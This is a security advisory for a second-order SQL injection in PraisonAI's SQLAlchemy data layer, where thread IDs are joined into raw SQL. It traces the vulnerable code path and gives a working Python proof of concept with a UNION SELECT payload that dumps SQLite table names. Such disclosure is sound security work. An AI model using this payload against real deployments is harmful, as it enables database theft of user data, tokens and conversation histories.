CVE-2026-34934 — PraisonAI Has Second-Order SQL Injection in...

## Summary The `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access. --- ## Details **File Path:** `src/praisonai/praisonai/ui/sql_alchemy.py` **Flow:** - **Source (Line 539):** ```python await data_layer.update_thread(thread_id=payload, user_id=user) ``` - **Hop (Line 547):** ```python thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')" ``` - **Sink (Line 576):** ```sql WHERE s."threadId" IN {thread_ids} ``` --- ## Proof of Concept (PoC) ```python import asyncio from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer async def run_poc(): data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db") # Insert a valid thread await data_layer.update_thread( thread_id="valid_thread", user_id="attacker" ) # Inject malicious payload payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--" await data_layer.update_thread( thread_id=payload, user_id="attacker" ) # Trigger vulnerable function result = await data_layer.get_all_user_threads(user_id="attacker") for thread in result: if getattr(thread, 'id', '') == 'valid_thread': for step in getattr(thread, 'steps', []): print(getattr(step, 'id', '')) asyncio.run(run_poc()) # Expected Output: # sqlite_master table names printed to console ``` --- ## Impact An attacker can achieve full database compromise, including: - Exfiltration of sensitive data (user emails, session tokens, API keys) - Access to all conversation histories - Ability to modify or delete database contents